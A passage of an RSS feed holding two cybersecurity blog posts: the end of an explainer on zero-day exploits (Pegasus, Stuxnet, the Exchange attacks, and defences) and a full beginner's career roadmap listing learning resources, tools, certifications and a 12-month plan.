<p>What made Pegasus particularly dangerous was its ability to perform <strong>zero-click exploitation</strong>, meaning victims often did not need to interact with malicious content for infection to occur.</p>
<p>Targets reportedly included:</p>
<ul>
<li><p>Journalists</p>
</li>
<li><p>Activists</p>
</li>
<li><p>Political figures</p>
</li>
<li><p>Government officials</p>
</li>
</ul>
<hr />
<h3>Stuxnet</h3>
<p>Discovered in 2010, Stuxnet remains one of the most sophisticated cyber weapons ever identified.</p>
<p>The malware utilized multiple Windows zero-day vulnerabilities and specifically targeted industrial control systems used in Iran's nuclear facilities.</p>
<p>Unlike traditional cyberattacks, Stuxnet produced physical consequences by disrupting centrifuge operations.</p>
<hr />
<h3>Microsoft Exchange Server Attacks</h3>
<p>In 2021, multiple zero-day vulnerabilities affecting Microsoft Exchange Server were exploited at scale.</p>
<p>Organizations worldwide experienced compromise of email infrastructure, data exposure, and deployment of web shells that allowed persistent attacker access.</p>
<p>Thousands of systems were affected before patches became widely deployed.</p>
<hr />
<h2>Zero-Day vs N-Day Vulnerabilities</h2>
<p>Many people confuse zero-days with regular vulnerabilities.</p>
<p>The distinction is important.</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>Zero-Day</th>
<th>N-Day</th>
</tr>
</thead>
<tbody><tr>
<td>Publicly Known</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Patch Available</td>
<td>No</td>
<td>Usually Yes</td>
</tr>
<tr>
<td>Detection Difficulty</td>
<td>Very High</td>
<td>Lower</td>
</tr>
<tr>
<td>Attack Success Rate</td>
<td>Often High</td>
<td>Variable</td>
</tr>
<tr>
<td>Defensive Readiness</td>
<td>Low</td>
<td>Higher</td>
</tr>
</tbody></table>
<p>Once a vulnerability becomes publicly disclosed and patches become available, it transitions from a zero-day into an <strong>N-day vulnerability</strong>.</p>
<p>Ironically, many organizations are breached not by zero-days, but by old vulnerabilities that were never patched.</p>
<hr />
<h2>How Organizations Defend Against Zero-Day Threats</h2>
<p>Zero-days cannot be completely prevented, but their impact can be significantly reduced.</p>
<h3>Rapid Patch Management</h3>
<p>Once vendors release updates, organizations should deploy them as quickly as possible.</p>
<p>The faster systems are patched, the smaller the attack window becomes.</p>
<hr />
<h3>Endpoint Detection and Response (EDR)</h3>
<p>Modern EDR solutions focus on suspicious behavior rather than known malware signatures.</p>
<p>This improves detection of previously unseen attacks.</p>
<p>Examples include:</p>
<ul>
<li><p>Microsoft Defender for Endpoint</p>
</li>
<li><p>CrowdStrike Falcon</p>
</li>
<li><p>SentinelOne</p>
</li>
</ul>
<hr />
<h3>Principle of Least Privilege</h3>
<p>Users and applications should only have the permissions necessary for their tasks.</p>
<p>Limiting privileges reduces the damage attackers can cause after initial compromise.</p>
<hr />
<h3>Network Segmentation</h3>
<p>Separating systems into isolated network segments makes lateral movement more difficult.</p>
<p>Even if one device is compromised, attackers may struggle to reach critical assets.</p>
<hr />
<h3>Threat Hunting</h3>
<p>Proactive threat hunting helps identify unusual activity before it escalates into a major incident.</p>
<p>Organizations increasingly use:</p>
<ul>
<li><p>SIEM platforms</p>
</li>
<li><p>Behavioral analytics</p>
</li>
<li><p>Threat intelligence feeds</p>
</li>
<li><p>Security monitoring</p>
</li>
</ul>
<p>to improve visibility.</p>
<hr />
<h3>Security Awareness Training</h3>
<p>Many zero-day attacks still rely on phishing and social engineering for initial access.</p>
<p>Training users to recognize suspicious activity remains an essential defensive measure.</p>
<hr />
<h2>Can Zero-Days Ever Be Eliminated?</h2>
<p>Realistically, no.</p>
<p>Modern software contains millions of lines of code. Complex systems inevitably contain undiscovered vulnerabilities.</p>
<p>The goal of cybersecurity is therefore not to eliminate every flaw but to:</p>
<ul>
<li><p>Detect attacks quickly</p>
</li>
<li><p>Limit attacker movement</p>
</li>
<li><p>Reduce impact</p>
</li>
<li><p>Recover effectively</p>
</li>
</ul>
<p>Organizations that assume breaches are possible and build resilient defenses tend to withstand attacks far better than those relying on prevention alone.</p>
<hr />
<h2>Final Thoughts</h2>
<p>Zero-day exploits represent one of the most challenging threats in cybersecurity because they target weaknesses nobody knows about until attackers begin using them.</p>
<p>They have been used in espionage campaigns, cyber warfare operations, corporate breaches, and targeted surveillance activities around the world.</p>
<p>While organizations cannot completely prevent unknown vulnerabilities from existing, they can significantly reduce risk through layered security, rapid patching, strong monitoring, least-privilege access controls, and proactive threat detection.</p>
<p>The most effective defense against zero-day threats is not perfection.</p>
<p>It is preparedness.</p>
<p>Because when attackers discover a vulnerability before defenders do, every second counts.</p>
]]></content:encoded></item><item><title><![CDATA[Cybersecurity for Beginners: A Practical Roadmap to Start Your Career]]></title><description><![CDATA[Cybersecurity is one of the fastest-growing and most in-demand fields in technology today. As businesses, governments, and individuals become increasingly dependent on digital systems, the need for pr]]></description><link>https://blog.sonajit.in/cybersecurity-for-beginners-roadmap</link><guid isPermaLink="true">https://blog.sonajit.in/cybersecurity-for-beginners-roadmap</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[#cybersecurity roadmap]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[Linux]]></category><category><![CDATA[networking]]></category><category><![CDATA[network security]]></category><category><![CDATA[tech ]]></category><category><![CDATA[learning]]></category><category><![CDATA[#LearningPath]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Tue, 19 Aug 2025 16:02:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/488adb2d-9fb8-475c-a096-e865f704604e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cybersecurity is one of the fastest-growing and most in-demand fields in technology today. As businesses, governments, and individuals become increasingly dependent on digital systems, the need for professionals who can protect those systems continues to rise.</p>
<p>If you've ever been curious about ethical hacking, digital forensics, security operations, or how organizations defend themselves against cyberattacks, cybersecurity might be the perfect career path for you.</p>
<p>The good news is that you don't need a computer science degree from a top university or years of experience to get started. With the right roadmap, dedication, and consistent practice, anyone can build the skills required to enter the field.</p>
<p>In this guide, you'll learn a practical step-by-step roadmap for starting a cybersecurity career, including essential skills, learning resources, certifications, hands-on labs, and community resources.</p>
<hr />
<h2>Why Choose Cybersecurity?</h2>
<p>Cybersecurity offers more than just excellent career opportunities. It is a field that combines technology, problem-solving, investigation, and continuous learning.</p>
<p>Organizations of every size face threats such as:</p>
<ul>
<li><p>Data breaches</p>
</li>
<li><p>Phishing attacks</p>
</li>
<li><p>Malware infections</p>
</li>
<li><p>Ransomware</p>
</li>
<li><p>Insider threats</p>
</li>
<li><p>Cloud security risks</p>
</li>
</ul>
<p>Because of this, cybersecurity professionals are needed across nearly every industry.</p>
<p>One of the biggest advantages of cybersecurity is the variety of career paths available. You can specialize in areas such as:</p>
<ul>
<li><p>Ethical Hacking &amp; Penetration Testing</p>
</li>
<li><p>Security Operations Center (SOC)</p>
</li>
<li><p>Digital Forensics &amp; Incident Response (DFIR)</p>
</li>
<li><p>Open Source Intelligence (OSINT)</p>
</li>
<li><p>Malware Analysis</p>
</li>
<li><p>Threat Hunting</p>
</li>
<li><p>Cloud Security</p>
</li>
<li><p>Application Security</p>
</li>
<li><p>Security Engineering</p>
</li>
<li><p>Governance, Risk &amp; Compliance (GRC)</p>
</li>
</ul>
<p>No matter whether you enjoy coding, investigations, networking, system administration, or research, there's a place for you in cybersecurity.</p>
<hr />
<h2>Step 1: Build a Strong Foundation</h2>
<p>Before learning hacking techniques or advanced security concepts, it's important to understand how systems and networks work.</p>
<p>Many beginners rush directly into penetration testing tools without understanding the underlying technologies. Building a strong foundation first will make everything easier later.</p>
<h3>Learn Networking</h3>
<p>Networking is arguably the most important skill in cybersecurity.</p>
<p>Topics to focus on:</p>
<ul>
<li><p>TCP/IP</p>
</li>
<li><p>DNS</p>
</li>
<li><p>DHCP</p>
</li>
<li><p>HTTP &amp; HTTPS</p>
</li>
<li><p>Firewalls</p>
</li>
<li><p>Routing and Switching</p>
</li>
<li><p>VPNs</p>
</li>
<li><p>Network Protocols</p>
</li>
</ul>
<p>Useful resources:</p>
<ul>
<li><p>Cisco Networking Basics: <a href="https://skillsforall.com/course/networking-basics">https://skillsforall.com/course/networking-basics</a></p>
</li>
<li><p>Practical Networking: <a href="https://www.practicalnetworking.net">https://www.practicalnetworking.net</a></p>
</li>
<li><p>freeCodeCamp Networking Course: <a href="https://www.youtube.com/watch?v=qiQR5rTSshw">https://www.youtube.com/watch?v=qiQR5rTSshw</a></p>
</li>
</ul>
<h3>Learn Linux and Windows</h3>
<p>Security professionals work with operating systems daily.</p>
<p>For Linux, learn:</p>
<ul>
<li><p>File permissions</p>
</li>
<li><p>User management</p>
</li>
<li><p>Process management</p>
</li>
<li><p>Bash commands</p>
</li>
<li><p>Package management</p>
</li>
<li><p>System logs</p>
</li>
</ul>
<p>Resources:</p>
<ul>
<li><p>Linux Journey: <a href="https://linuxjourney.com">https://linuxjourney.com</a></p>
</li>
<li><p>OverTheWire Bandit: <a href="https://overthewire.org/wargames/bandit">https://overthewire.org/wargames/bandit</a></p>
</li>
</ul>
<p>For Windows, focus on:</p>
<ul>
<li><p>Active Directory basics</p>
</li>
<li><p>PowerShell</p>
</li>
<li><p>Event Viewer</p>
</li>
<li><p>User and Group Management</p>
</li>
<li><p>Windows Security Features</p>
</li>
</ul>
<p>Resource:</p>
<ul>
<li>Microsoft Learn: <a href="https://learn.microsoft.com/training">https://learn.microsoft.com/training</a></li>
</ul>
<h3>Learn Basic Programming</h3>
<p>Programming isn't mandatory for beginners, but it becomes increasingly valuable as you progress.</p>
<p>Recommended languages:</p>
<ul>
<li><p>Python</p>
</li>
<li><p>Bash</p>
</li>
<li><p>PowerShell</p>
</li>
<li><p>C/C++</p>
</li>
</ul>
<p>Useful resources:</p>
<ul>
<li><p>Python: <a href="https://www.learnpython.org">https://www.learnpython.org</a></p>
</li>
<li><p>Learn C++: <a href="https://www.learncpp.com">https://www.learncpp.com</a></p>
</li>
<li><p>PowerShell Documentation: <a href="https://learn.microsoft.com/powershell">https://learn.microsoft.com/powershell</a></p>
</li>
</ul>
<hr />
<h2>Step 2: Learn Security Fundamentals</h2>
<p>Once you understand networking and operating systems, start focusing on security-specific concepts.</p>
<h3>Cryptography</h3>
<p>Learn the fundamentals of:</p>
<ul>
<li><p>Encryption</p>
</li>
<li><p>Hashing</p>
</li>
<li><p>Digital Signatures</p>
</li>
<li><p>SSL/TLS</p>
</li>
<li><p>Public Key Infrastructure (PKI)</p>
</li>
</ul>
<p>Resource:</p>
<ul>
<li><a href="https://www.cryptool.org">https://www.cryptool.org</a></li>
</ul>
<h3>Web Application Security</h3>
<p>Web applications are among the most common attack targets today.</p>
<p>Learn about:</p>
<ul>
<li><p>Authentication</p>
</li>
<li><p>Authorization</p>
</li>
<li><p>Session Management</p>
</li>
<li><p>Security Headers</p>
</li>
<li><p>Cookies and Tokens</p>
</li>
</ul>
<p>Common vulnerabilities include:</p>
<ul>
<li><p>SQL Injection (SQLi)</p>
</li>
<li><p>Cross-Site Scripting (XSS)</p>
</li>
<li><p>Cross-Site Request Forgery (CSRF)</p>
</li>
<li><p>Broken Access Control</p>
</li>
<li><p>SSRF</p>
</li>
</ul>
<p>Essential resources:</p>
<ul>
<li><p>OWASP Top 10: <a href="https://owasp.org/www-project-top-ten/">https://owasp.org/www-project-top-ten/</a></p>
</li>
<li><p>OWASP Juice Shop: <a href="https://owasp.org/www-project-juice-shop/">https://owasp.org/www-project-juice-shop/</a></p>
</li>
<li><p>OWASP Web Security Testing Guide: <a href="https://owasp.org/www-project-web-security-testing-guide/">https://owasp.org/www-project-web-security-testing-guide/</a></p>
</li>
</ul>
<h3>Core Security Concepts</h3>
<p>Understand:</p>
<ul>
<li><p>CIA Triad</p>
</li>
<li><p>Defense in Depth</p>
</li>
<li><p>Risk Management</p>
</li>
<li><p>Threat Modeling</p>
</li>
<li><p>Security Controls</p>
</li>
<li><p>Zero Trust Security</p>
</li>
</ul>
<p>Resource:</p>
<ul>
<li><a href="https://www.cisa.gov">https://www.cisa.gov</a></li>
</ul>
<hr />
<h2>Step 3: Gain Hands-On Experience</h2>
<p>Cybersecurity is a practical field.</p>
<p>You cannot become proficient by watching videos alone. Real growth happens when you build, break, investigate, and solve problems yourself.</p>
<h3>Practice Platforms</h3>
<h4>TryHackMe</h4>
<p>TryHackMe provides structured learning paths and beginner-friendly labs.</p>
<p><a href="https://tryhackme.com">https://tryhackme.com</a></p>
<p>Recommended paths:</p>
<ul>
<li><p>Pre Security</p>
</li>
<li><p>Complete Beginner</p>
</li>
<li><p>SOC Level 1</p>
</li>
<li><p>Jr Penetration Tester</p>
</li>
</ul>
<h4>Hack The Box</h4>
<p>Hack The Box provides realistic environments for developing offensive and defensive skills.</p>
<p><a href="https://www.hackthebox.com">https://www.hackthebox.com</a></p>
<p>Learning platform:</p>
<p><a href="https://academy.hackthebox.com">https://academy.hackthebox.com</a></p>
<h4>OverTheWire</h4>
<p>Excellent for learning Linux and command-line fundamentals.</p>
<p><a href="https://overthewire.org">https://overthewire.org</a></p>
<h4>PortSwigger Web Security Academy</h4>
<p>One of the best free resources for learning web security.</p>
<p><a href="https://portswigger.net/web-security">https://portswigger.net/web-security</a></p>
<hr />
<h2>Build Your Own Home Lab</h2>
<p>A home lab provides a safe environment for experimentation.</p>
<p>Virtualization tools:</p>
<ul>
<li><p>VirtualBox: <a href="https://www.virtualbox.org">https://www.virtualbox.org</a></p>
</li>
<li><p>VMware Workstation: <a href="https://www.vmware.com/products/workstation-pro">https://www.vmware.com/products/workstation-pro</a></p>
</li>
</ul>
<p>Recommended virtual machines:</p>
<ul>
<li><p>Kali Linux: <a href="https://www.kali.org">https://www.kali.org</a></p>
</li>
<li><p>Ubuntu: <a href="https://ubuntu.com">https://ubuntu.com</a></p>
</li>
<li><p>Parrot Security: <a href="https://www.parrotsec.org">https://www.parrotsec.org</a></p>
</li>
<li><p>Windows Evaluation VMs: <a href="https://developer.microsoft.com/windows/downloads/virtual-machines">https://developer.microsoft.com/windows/downloads/virtual-machines</a></p>
</li>
</ul>
<hr />
<h2>Essential Security Tools to Learn</h2>
<h3>Network Analysis</h3>
<ul>
<li><p>Wireshark: <a href="https://www.wireshark.org">https://www.wireshark.org</a></p>
</li>
<li><p>TCPDump: <a href="https://www.tcpdump.org">https://www.tcpdump.org</a></p>
</li>
</ul>
<h3>Scanning &amp; Enumeration</h3>
<ul>
<li><p>Nmap: <a href="https://nmap.org">https://nmap.org</a></p>
</li>
<li><p>RustScan: <a href="https://rustscan.github.io">https://rustscan.github.io</a></p>
</li>
</ul>
<h3>Web Application Testing</h3>
<ul>
<li><p>Burp Suite: <a href="https://portswigger.net/burp">https://portswigger.net/burp</a></p>
</li>
<li><p>OWASP ZAP: <a href="https://www.zaproxy.org">https://www.zaproxy.org</a></p>
</li>
</ul>
<h3>Exploitation Frameworks</h3>
<ul>
<li>Metasploit Framework: <a href="https://www.metasploit.com">https://www.metasploit.com</a></li>
</ul>
<h3>Digital Forensics</h3>
<ul>
<li><p>Autopsy: <a href="https://www.autopsy.com">https://www.autopsy.com</a></p>
</li>
<li><p>Volatility: <a href="https://www.volatilityfoundation.org">https://www.volatilityfoundation.org</a></p>
</li>
</ul>
<h3>SIEM &amp; Log Analysis</h3>
<ul>
<li><p>Splunk: <a href="https://www.splunk.com">https://www.splunk.com</a></p>
</li>
<li><p>Elastic Security: <a href="https://www.elastic.co/security">https://www.elastic.co/security</a></p>
</li>
<li><p>Wazuh: <a href="https://wazuh.com">https://wazuh.com</a></p>
</li>
</ul>
<hr />
<h2>Step 4: Earn Certifications</h2>
<p>Certifications help validate your knowledge and demonstrate commitment to employers.</p>
<h3>Beginner-Friendly Certifications</h3>
<ul>
<li><p>Cisco Introduction to Cybersecurity <a href="https://www.netacad.com/courses/introduction-cybersecurity">https://www.netacad.com/courses/introduction-cybersecurity</a></p>
</li>
<li><p>Google Cybersecurity Professional Certificate <a href="https://grow.google/certificates/cybersecurity">https://grow.google/certificates/cybersecurity</a></p>
</li>
<li><p>Microsoft Security Learning Paths <a href="https://learn.microsoft.com/training">https://learn.microsoft.com/training</a></p>
</li>
</ul>
<h3>Intermediate Certifications</h3>
<ul>
<li><p>CompTIA Security+ <a href="https://www.comptia.org/certifications/security">https://www.comptia.org/certifications/security</a></p>
</li>
<li><p>CompTIA Network+ <a href="https://www.comptia.org/certifications/network">https://www.comptia.org/certifications/network</a></p>
</li>
<li><p>Certified Ethical Hacker (CEH) <a href="https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/">https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/</a></p>
</li>
<li><p>Splunk Certifications <a href="https://www.splunk.com/en%5C_us/training.html">https://www.splunk.com/en\_us/training.html</a></p>
</li>
</ul>
<h3>Advanced Certifications</h3>
<ul>
<li><p>OffSec OSCP <a href="https://www.offsec.com/courses/pen-200/">https://www.offsec.com/courses/pen-200/</a></p>
</li>
<li><p>OffSec OSEP <a href="https://www.offsec.com/courses/pen-300/">https://www.offsec.com/courses/pen-300/</a></p>
</li>
<li><p>CISSP <a href="https://www.isc2.org/certifications/cissp">https://www.isc2.org/certifications/cissp</a></p>
</li>
<li><p>GIAC Certifications <a href="https://www.giac.org">https://www.giac.org</a></p>
</li>
</ul>
<hr />
<h2>Step 5: Join the Security Community</h2>
<p>One of the fastest ways to grow is by learning from others.</p>
<p>Useful communities:</p>
<ul>
<li><p>Reddit r/netsec <a href="https://www.reddit.com/r/netsec">https://www.reddit.com/r/netsec</a></p>
</li>
<li><p>Reddit r/cybersecurity <a href="https://www.reddit.com/r/cybersecurity">https://www.reddit.com/r/cybersecurity</a></p>
</li>
<li><p>LinkedIn <a href="https://www.linkedin.com">https://www.linkedin.com</a></p>
</li>
<li><p>X (Twitter) <a href="https://x.com">https://x.com</a></p>
</li>
</ul>
<p>Conferences worth following:</p>
<ul>
<li><p>DEF CON: <a href="https://defcon.org">https://defcon.org</a></p>
</li>
<li><p>Black Hat: <a href="https://www.blackhat.com">https://www.blackhat.com</a></p>
</li>
<li><p>BSides: <a href="https://bsides.org">https://bsides.org</a></p>
</li>
<li><p>OWASP Events: <a href="https://owasp.org/events">https://owasp.org/events</a></p>
</li>
</ul>
<hr />
<h2>Step 6: Build Your Portfolio</h2>
<p>A strong portfolio often matters more than certifications.</p>
<p>Ideas for portfolio projects:</p>
<ul>
<li><p>Write technical blog posts</p>
</li>
<li><p>Publish CTF writeups</p>
</li>
<li><p>Build security automation scripts</p>
</li>
<li><p>Create home lab projects</p>
</li>
<li><p>Document investigations</p>
</li>
<li><p>Share tools on GitHub</p>
</li>
</ul>
<p>Useful platforms:</p>
<ul>
<li><p>GitHub: <a href="https://github.com">https://github.com</a></p>
</li>
<li><p>Hashnode: <a href="https://hashnode.com">https://hashnode.com</a></p>
</li>
<li><p>Dev.to: <a href="https://dev.to">https://dev.to</a></p>
</li>
<li><p>Medium: <a href="https://medium.com">https://medium.com</a></p>
</li>
</ul>
<p>Employers love seeing evidence of practical skills and continuous learning.</p>
<hr />
<h2>Common Mistakes Beginners Should Avoid</h2>
<p>Many newcomers slow their progress by making a few common mistakes:</p>
<p>❌ Skipping networking fundamentals</p>
<p>❌ Ignoring Linux</p>
<p>❌ Collecting certifications without practical experience</p>
<p>❌ Learning tools without understanding concepts</p>
<p>❌ Comparing their progress to others</p>
<p>❌ Trying to learn everything at once</p>
<p>❌ Copy-pasting commands without understanding them</p>
<p>Focus on understanding fundamentals and building consistent habits.</p>
<hr />
<h2>A Simple 12-Month Learning Roadmap</h2>
<h3>Months 1–2</h3>
<ul>
<li><p>Networking Fundamentals</p>
</li>
<li><p>Linux Basics</p>
</li>
<li><p>Windows Basics</p>
</li>
<li><p>Basic Python</p>
</li>
</ul>
<h3>Months 3–4</h3>
<ul>
<li><p>Security Fundamentals</p>
</li>
<li><p>OWASP Top 10</p>
</li>
<li><p>Beginner TryHackMe Rooms</p>
</li>
</ul>
<h3>Months 5–6</h3>
<ul>
<li><p>Home Lab Setup</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>Wireshark</p>
</li>
<li><p>Burp Suite</p>
</li>
</ul>
<h3>Months 7–9</h3>
<ul>
<li><p>SOC Fundamentals</p>
</li>
<li><p>Digital Forensics Basics</p>
</li>
<li><p>Capture The Flag Challenges</p>
</li>
</ul>
<h3>Months 10–12</h3>
<ul>
<li><p>Portfolio Building</p>
</li>
<li><p>Security+ Preparation</p>
</li>
<li><p>Community Participation</p>
</li>
<li><p>Advanced Labs</p>
</li>
</ul>
<hr />
<h2>Final Thoughts</h2>
<p>Every cybersecurity professional started as a beginner.</p>
<p>You don't need to know everything before you start. Focus on learning the fundamentals, practicing regularly, documenting your progress, and staying curious.</p>
<p>Consistency will always outperform short bursts of motivation.</p>
<p>Build your foundation, gain hands-on experience, contribute to the community, and continue learning. Over time, those small daily improvements will compound into valuable skills and career opportunities.</p>
<p>The cybersecurity industry rewards curiosity, persistence, and continuous learning.</p>
<p>Start today, stay consistent, and keep building.</p>
]]></content:encoded></item></channel></rss>